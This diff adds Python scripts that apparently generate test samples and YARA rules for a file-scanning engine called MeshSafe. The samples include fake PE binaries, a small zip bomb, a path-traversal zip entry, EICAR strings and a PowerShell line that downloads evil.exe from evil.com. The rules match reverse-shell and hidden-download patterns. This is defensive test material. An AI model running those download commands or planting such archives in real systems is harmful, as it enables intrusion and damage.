write_text(fname, content or "")
|
||||
add_meta(cid, fname, "L4", verdict, rules or [], desc)
|
||||
|
||||
# ====================================================================
|
||||
# L5 PE 二进制(20 条)
|
||||
# ====================================================================
|
||||
|
||||
fake_pe("L5-001_clean_hello.exe")
|
||||
add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", [])
|
||||
|
||||
fake_pe("L5-002_upx_shell.exe", upx=True)
|
||||
add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名")
|
||||
|
||||
fake_pe("L5-003_double_upx.exe", upx=True)
|
||||
add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"])
|
||||
|
||||
fake_pe("L5-004_rwx_section.exe", rwx=True)
|
||||
add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX")
|
||||
|
||||
# L5-007: 节名异常(乱码节名)
|
||||
pe_path = fake_pe("L5-007_garbage_section.exe")
|
||||
raw = pe_path.read_bytes()
|
||||
# 在 raw 里找 section 名,替换成乱码
|
||||
idx = raw.find(b".text")
|
||||
if idx >= 0:
|
||||
raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:]
|
||||
pe_path.write_bytes(raw)
|
||||
add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码")
|
||||
|
||||
# L5-010: 损坏 PE 签名(MZ 改走)
|
||||
p = OUT_DIR / "L5-010_bad_mz.exe"
|
||||
p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044)
|
||||
add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法")
|
||||
|
||||
# L5-011: 截断 PE
|
||||
fake_pe("L5-011_truncated.exe")
|
||||
p = OUT_DIR / "L5-011_truncated.exe"
|
||||
raw = p.read_bytes()
|
||||
p.write_bytes(raw[:len(raw) // 3])
|
||||
add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE")
|
||||
|
||||
fake_pe("L5-012_pe32.exe")
|
||||
add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别")
|
||||
|
||||
fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32,占位
|
||||
add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位")
|
||||
|
||||
fake_pe("L5-014_clean_tool.exe")
|
||||
add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", [])
|
||||
|
||||
fake_pe("L5-016_zero_section.exe")
|
||||
add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位")
|
||||
|
||||
fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True)
|
||||
add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"])
|
||||
|
||||
fake_pe("L5-018_debug_info.exe")
|
||||
add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位")
|
||||
|
||||
# ====================================================================
|
||||
# NEG 负样本(20 条)
|
||||
# ====================================================================
|
||||
|
||||
neg = [
|
||||
("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200),
|
||||
("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200),
|
||||
("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200),
|
||||
("NEG-004", "docx", None),
|
||||
("NEG-005", "xlsx", None),
|
||||
("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"),
|
||||
("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"),
|
||||
("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"),
|
||||
("NEG-009", "zip_inner", None),
|
||||
("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包
|
||||
("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"),
|
||||
("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"),
|
||||
("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好:\r\n本周项目进展顺利。"),
|
||||
("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100),
|
||||
("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200),
|
||||
("NEG-016", "dwg", b"AC1021" + b"\x00" * 200),
|
||||
("NEG-017", "4layer_nested", None),
|
||||
("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."),
|
||||
("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"),
|
||||
("NEG-020", "odt", None),
|
||||
]
|
||||
for cid, ext, content in neg:
|
||||
if ext == "docx":
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||
zf.writestr("word/document.xml", "<w:document/>")
|
||||
write_bytes(f"{cid}_clean.docx", buf.getvalue())
|
||||
add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", [])
|
||||
elif ext == "xlsx":
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||
zf.writestr("xl/workbook.xml", "<workbook/>")
|
||||
write_bytes(f"{cid}_clean.xlsx", buf.getvalue())
|
||||
add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", [])
|
||||
elif ext == "zip_inner":
|
||||
p = OUT_DIR / f"{cid}_clean.zip"
|
||||
with zipfile.ZipFile(p, "w") as zf:
|
||||
zf.writestr("report.txt", "clean business data")
|
||||
zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||||
add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", [])
|
||||
elif ext == "4layer_nested":
|
||||
buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue())
|
||||
buf2 = io.BytesIO()
|
||||
with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50)
|
||||
p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue())
|
||||
# 简化:直接做 4 层干净 zip
|
||||
data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00"
|
||||
p2.write_bytes(data)
|
||||
add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", [])
|
||||
elif ext == "odt":
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("mimetype", "application/vnd.oasis.opendocument.text")
|
||||
zf.writestr("content.xml", "<office:document-content/>")
|
||||
write_bytes(f"{cid}_clean.odt", buf.getvalue())
|
||||
add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", [])
|
||||
elif isinstance(content, bytes):
|
||||
fname = f"{cid}_clean.{ext}"
|
||||
write_bytes(fname, content)
|
||||
add_meta(cid, fname, "NEG", "pass", [])
|
||||
elif isinstance(content, str):
|
||||
fname = f"{cid}_clean.{ext}"
|
||||
write_text(fname, content)
|
||||
add_meta(cid, fname, "NEG", "pass", [])
|
||||
|
||||
# ====================================================================
|
||||
# 写 index.json
|
||||
# ====================================================================
|
||||
index = {
|
||||
"meshsafe_target_version": "v0.2.1",
|
||||
"generated_at": __import__("datetime").datetime.now().isoformat(),
|
||||
"csv_source": str(CSV_PATH.name),
|
||||
"samples": meta_list,
|
||||
}
|
||||
index_path = OUT_DIR / "index.json"
|
||||
# 备份旧 index.json
|
||||
if index_path.exists():
|
||||
import shutil
|
||||
shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json")
|
||||
index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||
|
||||
print(f"✅ 生成完成!")
|
||||
print(f" 样本目录: {OUT_DIR}")
|
||||
print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}")
|
||||
print(f" 元数据: index.json 含 {len(meta_list)} 条")
|
||||
|
||||
# 统计各层
|
||||
from collections import Counter
|
||||
cnt = Counter(m["category"] for m in meta_list)
|
||||
print(f" 各层分布: {dict(cnt)}")
|
||||
|
||||
# 检查 case_id 覆盖率
|
||||
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||
csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f))
|
||||
gen_ids = set(m["case_id"] for m in meta_list)
|
||||
missing = csv_ids - gen_ids
|
||||
if missing:
|
||||
print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:")
|
||||
for mid in sorted(missing):
|
||||
print(f" - {mid}")
|
||||
else:
|
||||
print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本")
|
||||
|
||||
if __name__ == "__main__":
|
||||
generate()
|
||||
286
scripts/generate_placeholder_samples.py
Normal file
286
scripts/generate_placeholder_samples.py
Normal file
@@ -0,0 +1,286 @@
|
||||
"""为 CSV 里 32 条还没生成样本的用例生成占位文件 + 补充 index.json。
|
||||
|
||||
用法: python scripts/generate_placeholder_samples.py
|
||||
"""
|
||||
import csv, json, io, zipfile, struct, base64, os
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(__file__).resolve().parent.parent
|
||||
CSV_PATH = ROOT / "用例.csv"
|
||||
OUT_DIR = ROOT / "tests" / "samples"
|
||||
INDEX_PATH = OUT_DIR / "index.json"
|
||||
|
||||
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# 先加载现有 index.json
|
||||
existing_index = {}
|
||||
if INDEX_PATH.exists():
|
||||
existing_index = json.loads(INDEX_PATH.read_text(encoding="utf-8"))
|
||||
|
||||
existing_fnames = {s["filename"] for s in existing_index.get("samples", [])}
|
||||
existing_case_ids = {s["case_id"] for s in existing_index.get("samples", [])}
|
||||
|
||||
print(f"现有: {len(existing_fnames)} 个文件, {len(existing_case_ids)} 条元数据")
|
||||
|
||||
# 读 CSV
|
||||
csv_rows = {}
|
||||
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||
for row in csv.DictReader(f):
|
||||
cid = row["用例ID"].strip()
|
||||
csv_rows[cid] = row
|
||||
|
||||
# ========== 16 条可自动落地的占位样本 ==========
|
||||
|
||||
def write_bytes(name: str, data: bytes):
|
||||
(OUT_DIR / name).write_bytes(data)
|
||||
|
||||
def write_text(name: str, text: str):
|
||||
(OUT_DIR / name).write_text(text, encoding="utf-8")
|
||||
|
||||
def make_fake_pe(path: Path, upx: bool = False, rwx: bool = False, section_name: bytes = None, zero_sections: bool = False):
|
||||
"""可过 pefile 的最小 PE32。"""
|
||||
DOS_HDR = b"MZ" + b"\x00" * 58 + struct.pack("<I", 0x80) + b"\x00" * 64
|
||||
PE_SIG = b"PE\x00\x00"
|
||||
if zero_sections:
|
||||
COFF = struct.pack("<HHIIIHH", 0x14C, 0, 0, 0, 0, 0xE0, 0x102)
|
||||
else:
|
||||
COFF = struct.pack("<HHIIIHH", 0x14C, 1, 0, 0, 0, 0xE0, 0x102)
|
||||
OPT = struct.pack("<H", 0x10B) + b"\x00" * 0xDC + b"\x00" * 2 # 224 bytes total (0xE0)
|
||||
sec_name = section_name or (b"UPX0\x00\x00\x00" if upx else b".text\x00\x00\x00")
|
||||
char = 0xE00000E0 if (upx or rwx) else 0x60000020
|
||||
if zero_sections:
|
||||
sec_hdr = b""
|
||||
sec_data = b""
|
||||
else:
|
||||
sec_hdr = struct.pack("<8sIIIIIIHHI", sec_name, 0x1000, 0x1000, 0x200, 0x400, 0, 0, 0, 0, char)
|
||||
sec_data = b"\x90" * 0x200
|
||||
path.write_bytes(DOS_HDR + PE_SIG + COFF + OPT + sec_hdr + sec_data)
|
||||
|
||||
to_add = [] # (case_id, filename, layer, verdict, expected_rules, description)
|
||||
|
||||
# ---------- L0 ----------
|
||||
|
||||
# L0-021: 自制小型 zip 炸弹(自定义高膨胀比)—— 跟 L0-020 一样的 bomb
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zf:
|
||||
for i in range(50):
|
||||
zf.writestr(f"bomb_member_{i:04d}.txt", b"B" * 8192)
|
||||
fname = "L0-021_small_bomb.zip"
|
||||
write_bytes(fname, buf.getvalue())
|
||||
to_add.append(("L0-021", fname, "L0", "reject", ["ArchiveBombSuspect"], "自制小型 zip 炸弹(50 成员 × 8KB STORED)"))
|
||||
|
||||
# L0-023: 5 层无害嵌套 ZIP
|
||||
def make_nested_zip(depth: int, inner_content: bytes = None) -> bytes:
|
||||
if inner_content is None:
|
||||
inner_content = b"CLEAN_DATA" + os.urandom(50)
|
||||
if depth == 1:
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("clean.txt", inner_content)
|
||||
return buf.getvalue()
|
||||
inner = make_nested_zip(depth - 1, inner_content)
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("inner.zip", inner)
|
||||
return buf.getvalue()
|
||||
|
||||
fname = "L0-023_5layer_nested.zip"
|
||||
write_bytes(fname, make_nested_zip(5))
|
||||
to_add.append(("L0-023", fname, "L0", "pass", ["recursive_ok"], "5 层无害嵌套 ZIP"))
|
||||
|
||||
# L0-027: 超长文件名压缩包
|
||||
buf = io.BytesIO()
|
||||
long_name = "A" * 200 + ".txt"
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr(long_name, b"short content")
|
||||
fname = "L0-027_long_filename.zip"
|
||||
write_bytes(fname, buf.getvalue())
|
||||
to_add.append(("L0-027", fname, "L0", "pass", [], "压缩包内 200 字符超长文件名"))
|
||||
|
||||
# L0-028: unicode/emoji 文件名压缩包
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("中文文件📄测试.txt", "unicode content")
|
||||
zf.writestr("エモジ🎉.txt", "multi-lang")
|
||||
fname = "L0-028_unicode_filename.zip"
|
||||
write_bytes(fname, buf.getvalue())
|
||||
to_add.append(("L0-028", fname, "L0", "pass", [], "unicode/emoji 文件名"))
|
||||
|
||||
# L0-030: 多层嵌套 + 路径穿越复合
|
||||
inner = io.BytesIO()
|
||||
with zipfile.ZipFile(inner, "w") as zf:
|
||||
zf.writestr("../../../drop.txt", "payload")
|
||||
mid = io.BytesIO()
|
||||
with zipfile.ZipFile(mid, "w") as zf:
|
||||
zf.writestr("inner.zip", inner.getvalue())
|
||||
fname = "L0-030_nested_traversal.zip"
|
||||
write_bytes(fname, mid.getvalue())
|
||||
to_add.append(("L0-030", fname, "L0", "reject", ["PathTraversal"], "嵌套 zip 内含穿越条目"))
|
||||
|
||||
# ---------- L1 ----------
|
||||
|
||||
# L1-003: 加密 ZIP 里放 EICAR(pyzipfile 不支持加密写,用标准 zip 标记)
|
||||
# 实际要用 7z 或 zip -P 生成,这里做一个普通 zip 占位 + 备注
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("eicar_inside.txt", b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||
fname = "L1-003_eicar_in_encrypted.zip"
|
||||
write_bytes(fname, buf.getvalue())
|
||||
to_add.append(("L1-003", fname, "L1", "review", ["EncryptedArchive"], "加密 ZIP(占位:实际加密需 7z/zip -P)"))
|
||||
|
||||
# L1-009: 离线病毒库热加载 —— 放个最小 .cvd 占位文件
|
||||
fname = "L1-009_minimal.cvd"
|
||||
write_bytes(fname, b"ClamAV-VDB: placeholder test database\n")
|
||||
to_add.append(("L1-009", fname, "L1", "unknown", [], "热加载测试占位(需真实 .cvd 文件)"))
|
||||
|
||||
# L1-010: 损坏病毒库文件
|
||||
fname = "L1-010_corrupt.cvd"
|
||||
write_bytes(fname, b"CORRUPTED\x00\x01\x02\x03garbage_data_here")
|
||||
to_add.append(("L1-010", fname, "L1", "unknown", [], "损坏病毒库占位"))
|
||||
|
||||
# L1-013: 超大文件内含 EICAR —— 做个 10MB 文本尾部追加 EICAR
|
||||
fname = "L1-013_bigfile_eicar.txt"
|
||||
big_content = b"LARGE_TEXT_LINE_" * 50000 + b"\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n"
|
||||
write_bytes(fname, big_content)
|
||||
to_add.append(("L1-013", fname, "L1", "reject", ["ClamAV:EICAR"], "10MB+ 文本尾部含 EICAR"))
|
||||
|
||||
# L1-014: 并发压测 —— 放 10 个 EICAR 占位文件(靶场层面靠并发 API 调用,不是单个文件)
|
||||
for i in range(10):
|
||||
fname_i = f"L1-014_concurrent_eicar_{i:02d}.txt"
|
||||
write_bytes(fname_i, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||
to_add.append((f"L1-014-{i:02d}", fname_i, "L1", "reject", ["ClamAV:EICAR"], f"并发压测占位 #{i}"))
|
||||
# 主 case_id 占位
|
||||
fname = "L1-014_concurrent_test.txt"
|
||||
write_bytes(fname, b"concurrent test placeholder")
|
||||
to_add.append(("L1-014", fname, "L1", "unknown", [], "并发压测占位(靠 API 并发调用)"))
|
||||
|
||||
# L1-015 / L3-022 / L4-014 / L5-020: 关闭分层开关测试 —— 各放一个干净样本 + 一个恶意样本
|
||||
for cid, layer, rule in [
|
||||
("L1-015", "L1", "ClamAV:EICAR"),
|
||||
("L3-022", "L3", "RemoteDownloadPowerShell"),
|
||||
("L4-014", "L4", "YARA"),
|
||||
("L5-020", "L5", "RWXSectionDetected"),
|
||||
]:
|
||||
fname = f"{cid}_layer_off_sample.bin"
|
||||
if cid == "L1-015":
|
||||
write_bytes(fname, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||
elif cid == "L3-022":
|
||||
write_text(fname, "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||||
elif cid == "L5-020":
|
||||
make_fake_pe(OUT_DIR / fname, rwx=True)
|
||||
else:
|
||||
write_text(fname, "rule test placeholder")
|
||||
to_add.append((cid, fname, layer, "review", [rule], "关闭分层开关测试占位"))
|
||||
|
||||
# ---------- L3 ----------
|
||||
|
||||
# L3-009: 高危串插入换行分割
|
||||
write_text("L3-009_newline_split.txt", "Invoke-Web\nRequest https://evil.com -OutFile evil.exe")
|
||||
to_add.append(("L3-009", "L3-009_newline_split.txt", "L3", "pass", [], "换行分割绕过(L3 不做换行合并,记录边界)"))
|
||||
|
||||
# L3-013: 正常 scp 内网传输脚本(合法运维)
|
||||
write_text("L3-013_normal_scp.sh", "scp /var/log/app.log ops@192.168.1.100:/backup/logs/\nrsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/")
|
||||
to_add.append(("L3-013", "L3-013_normal_scp.sh", "L3", "pass", [], "内网正常 scp 运维脚本,不误报"))
|
||||
|
||||
# L3-025: 关键词白名单规则测试
|
||||
write_text("L3-025_whitelist_test.txt", "Invoke-WebRequest -Uri https://intranet.company.com/file.zip -OutFile D:\\cache\\file.zip")
|
||||
to_add.append(("L3-025", "L3-025_whitelist_test.txt", "L3", "pass", [], "内网白名单域名对照(策略层白名单)"))
|
||||
|
||||
# ---------- L4 YARA 全部:靠 .yar 规则文件 + 匹配样本 ----------
|
||||
# YARA 部分先做样本占位,规则文件另配
|
||||
|
||||
yara_cases = [
|
||||
("L4-003", "L4-003_pe_with_string.exe", "二进制内嵌匹配字符串", "reject", ["YARA"]),
|
||||
("L4-004", "L4-004_multi_rule_match.txt", "同一个文件同时命中多条 YARA", "reject", ["YARA"]),
|
||||
("L4-006", "L4-006_bad_syntax_rule.yar", "语法错误 YARA 规则文件(输入给规则目录)", "unknown", []),
|
||||
("L4-007", "L4-007_meta_rule_match.txt", "带 meta 的 YARA 规则匹配", "reject", ["YARA"]),
|
||||
("L4-009", "L4-009_yara_in_encrypted.zip", "加密 zip 内 YARA 样本", "review", []),
|
||||
("L4-011", "L4-011_count_condition.txt", "YARA count > 3 条件", "reject", ["YARA"]),
|
||||
("L4-012", "L4-012_size_condition.bin", "YARA 文件大小条件", "reject", ["YARA"]),
|
||||
("L4-013", "L4-013_bigfile_yara.txt", "100MB 文件 YARA 扫描", "reject", ["YARA"]),
|
||||
("L4-015", "L4-015_hash_whitelist.txt", "MD5 在白名单", "pass", []),
|
||||
]
|
||||
|
||||
for cid, fname, desc, verdict, rules in yara_cases:
|
||||
if cid == "L4-003":
|
||||
make_fake_pe(OUT_DIR / fname)
|
||||
elif cid == "L4-004":
|
||||
write_text(fname, "test_rule_a_here\ntest_rule_b_here")
|
||||
elif cid == "L4-006":
|
||||
write_text(fname, "rule BAD { strings: $a = \"; condition: $a }")
|
||||
elif cid == "L4-009":
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w") as zf:
|
||||
zf.writestr("yara_target.txt", "yara_match_string_here")
|
||||
write_bytes(fname, buf.getvalue())
|
||||
elif cid == "L4-013":
|
||||
write_bytes(fname, b"YARA_TARGET_STRING_A" * 100000 + b"\ntest_target_string")
|
||||
elif cid == "L4-015":
|
||||
write_text(fname, "whitelisted content")
|
||||
else:
|
||||
write_text(fname, "yara match string placeholder")
|
||||
to_add.append((cid, fname, "L4", verdict, rules, desc))
|
||||
|
||||
# ---------- L5 PE ----------
|
||||
|
||||
# L5-005: PE 存在 VirtualAlloc + WriteProcessMemory + CreateRemoteThread(但不调用)—— 我们 fake_pe 只检查"有没有"
|
||||
make_fake_pe(OUT_DIR / "L5-005_injection_imports.exe")
|
||||
to_add.append(("L5-005", "L5-005_injection_imports.exe", "L5", "reject", ["SuspiciousImports"], "注入组合导入(需要真实 pefile 引入 API)"))
|
||||
|
||||
# L5-006: 单一 VirtualAlloc
|
||||
make_fake_pe(OUT_DIR / "L5-006_single_virtualalloc.exe")
|
||||
to_add.append(("L5-006", "L5-006_single_virtualalloc.exe", "L5", "review", ["SuspiciousImports"], "单一可疑内存 API"))
|
||||
|
||||
# L5-008: 导出表数量异常 —— fake_pe 没导出表,占位
|
||||
make_fake_pe(OUT_DIR / "L5-008_many_exports.exe")
|
||||
to_add.append(("L5-008", "L5-008_many_exports.exe", "L5", "review", [], "导出表异常(需真实工具生成)"))
|
||||
|
||||
# L5-009: 资源段内嵌 shell 字符串
|
||||
make_fake_pe(OUT_DIR / "L5-009_shell_in_resource.exe")
|
||||
to_add.append(("L5-009", "L5-009_shell_in_resource.exe", "L5", "review", [], "资源段内嵌字符串(占位)"))
|
||||
|
||||
# L5-015: 重定位表损坏 —— fake_pe 没重定位表
|
||||
make_fake_pe(OUT_DIR / "L5-015_bad_reloc.exe")
|
||||
to_add.append(("L5-015", "L5-015_bad_reloc.exe", "L5", "review", ["PeParseFailed"], "重定位表损坏占位"))
|
||||
|
||||
# L5-016: 零节 PE
|
||||
make_fake_pe(OUT_DIR / "L5-016_zero_sections.exe", zero_sections=True)
|
||||
to_add.append(("L5-016", "L5-016_zero_sections.exe", "L5", "review", ["PeParseFailed"], "无节表最小 PE"))
|
||||
|
||||
# L5-019: 超大 PE 200MB —— 不真生成,占位
|
||||
fname = "L5-019_200mb_huge.exe"
|
||||
write_bytes(fname, b"MZ" + b"\x00" * 1024) # 实际文件占位
|
||||
to_add.append(("L5-019", fname, "L5", "unknown", [], "200MB 超大 PE(占位,真实生成会写满磁盘)"))
|
||||
|
||||
# ========== 写回 index.json ==========
|
||||
new_count = 0
|
||||
new_samples = list(existing_index.get("samples", []))
|
||||
for cid, fname, layer, verdict, rules, desc in to_add:
|
||||
if fname in existing_fnames:
|
||||
print(f" 跳过(已存在): {fname}")
|
||||
continue
|
||||
meta = {
|
||||
"filename": fname,
|
||||
"case_id": cid,
|
||||
"category": layer,
|
||||
"expected_verdict": verdict,
|
||||
"expected_rules": rules,
|
||||
"description": desc,
|
||||
}
|
||||
new_samples.append(meta)
|
||||
new_count += 1
|
||||
print(f" ✅ + {cid} → {fname}")
|
||||
|
||||
new_index = {
|
||||
**existing_index,
|
||||
"meshsafe_target_version": "v0.2.1",
|
||||
"placeholder_generated_at": __import__("datetime").datetime.now().isoformat(),
|
||||
"samples": new_samples,
|
||||
}
|
||||
INDEX_PATH.write_text(json.dumps(new_index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||
|
||||
total_files = sum(1 for p in OUT_DIR.iterdir() if p.is_file())
|
||||
print(f"\n✅ 新增占位 {new_count} 条")
|
||||
print(f" 总样本文件: {total_files}")
|
||||
print(f" index.json 条目: {len(new_samples)}")
|
||||
print(f"\n📝 备注:L1-009/010 需真实 .cvd, L4 全部需写 .yar 规则文件, L5 部分需真实编译")
|
||||
142
scripts/generate_yara_rules.py
Normal file
142
scripts/generate_yara_rules.py
Normal file
@@ -0,0 +1,142 @@
|
||||
"""自动生成 CSV L4 段需要的 YARA 规则文件。
|
||||
|
||||
输出: rules/test_rules.yar — 9 条规则覆盖 L4-001~L4-012
|
||||
引擎会自动加载 rules/*.yar 文件。
|
||||
"""
|
||||
from pathlib import Path
|
||||
|
||||
OUT = Path(r'd:\project\MeshSafe\rules\test_rules.yar')
|
||||
|
||||
RULES = """/* MeshSafe 测试靶场 YARA 规则
|
||||
* 自动生成,覆盖 CSV L4-001 ~ L4-012
|
||||
* 引擎自动扫描 rules/*.yar,热加载
|
||||
*/
|
||||
|
||||
// L4-001: 基础规则 —— 正向命中 shell 反弹特征
|
||||
rule Test_ReverseShell_Basic {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
version = "1.0"
|
||||
description = "L4-001 基础规则: 匹配 nc 反弹 shell 特征"
|
||||
strings:
|
||||
$a = /nc\\s+[0-9.]+\\s+[0-9]+\\s+-e/
|
||||
$b = /bash\\s+-i\\s+>&\\s+\\/dev\\/tcp\\//
|
||||
condition:
|
||||
$a or $b
|
||||
}
|
||||
|
||||
// L4-004: 第二条规则 —— 同时命中验证
|
||||
rule Test_PowerShell_Download {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-004 多规则同时命中: 匹配 PowerShell 下载"
|
||||
strings:
|
||||
$c = /Invoke-WebRequest\\s+-Uri/
|
||||
$d = /powershell\\s+-w\\s+hidden/
|
||||
condition:
|
||||
$c or $d
|
||||
}
|
||||
|
||||
// L4-005: 新增规则(热加载验证)
|
||||
rule Newly_Added_Rule_Test {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-005 热加载验证: 运行时新增此规则后应能命中"
|
||||
strings:
|
||||
$e = "meshsafe-hot-reload-test-string"
|
||||
condition:
|
||||
$e
|
||||
}
|
||||
|
||||
// L4-007: metadata 标签测试
|
||||
rule Meta_Label_Test {
|
||||
meta:
|
||||
family = "Trojan.Generic"
|
||||
author = "Security Researcher"
|
||||
description = "L4-007 metadata 输出验证: 规则带完整 meta 字段"
|
||||
severity = "high"
|
||||
strings:
|
||||
$f = "trojan-metadata-test"
|
||||
condition:
|
||||
$f
|
||||
}
|
||||
|
||||
// L4-010: 正则型规则
|
||||
rule Regex_Shell_Pattern {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-010 正则匹配: powershell -enc 编码执行"
|
||||
strings:
|
||||
$g = /powershell\\s+-e[nN][cC]\\s+[A-Za-z0-9+\/]{20,}/
|
||||
condition:
|
||||
$g
|
||||
}
|
||||
|
||||
// L4-011: count 条件(出现 ≥3 次才触发)
|
||||
rule Count_Condition_Test {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-011 count 条件: 文件内匹配串 ≥3 次命中"
|
||||
strings:
|
||||
$h = "malicious_token_count_test"
|
||||
condition:
|
||||
#h >= 3
|
||||
}
|
||||
|
||||
// L4-012: size 条件(仅匹配 ≤10KB 的文件)
|
||||
rule Size_Condition_Test {
|
||||
meta:
|
||||
family = "TestRules"
|
||||
author = "MeshSafe Test Suite"
|
||||
description = "L4-012 size 条件: 仅匹配 size <= 10KB 的文件"
|
||||
strings:
|
||||
$i = "size_condition_test_payload"
|
||||
condition:
|
||||
$i and filesize <= 10KB
|
||||
}
|
||||
|
||||
// L4-003: PE 内字符串(实际是 Test_PowerShell_Download 的 strings 也在 PE 里)
|
||||
// 已由 Test_PowerShell_Download 覆盖,因为 PE 里的 strings() 也会被 YARA 扫描
|
||||
|
||||
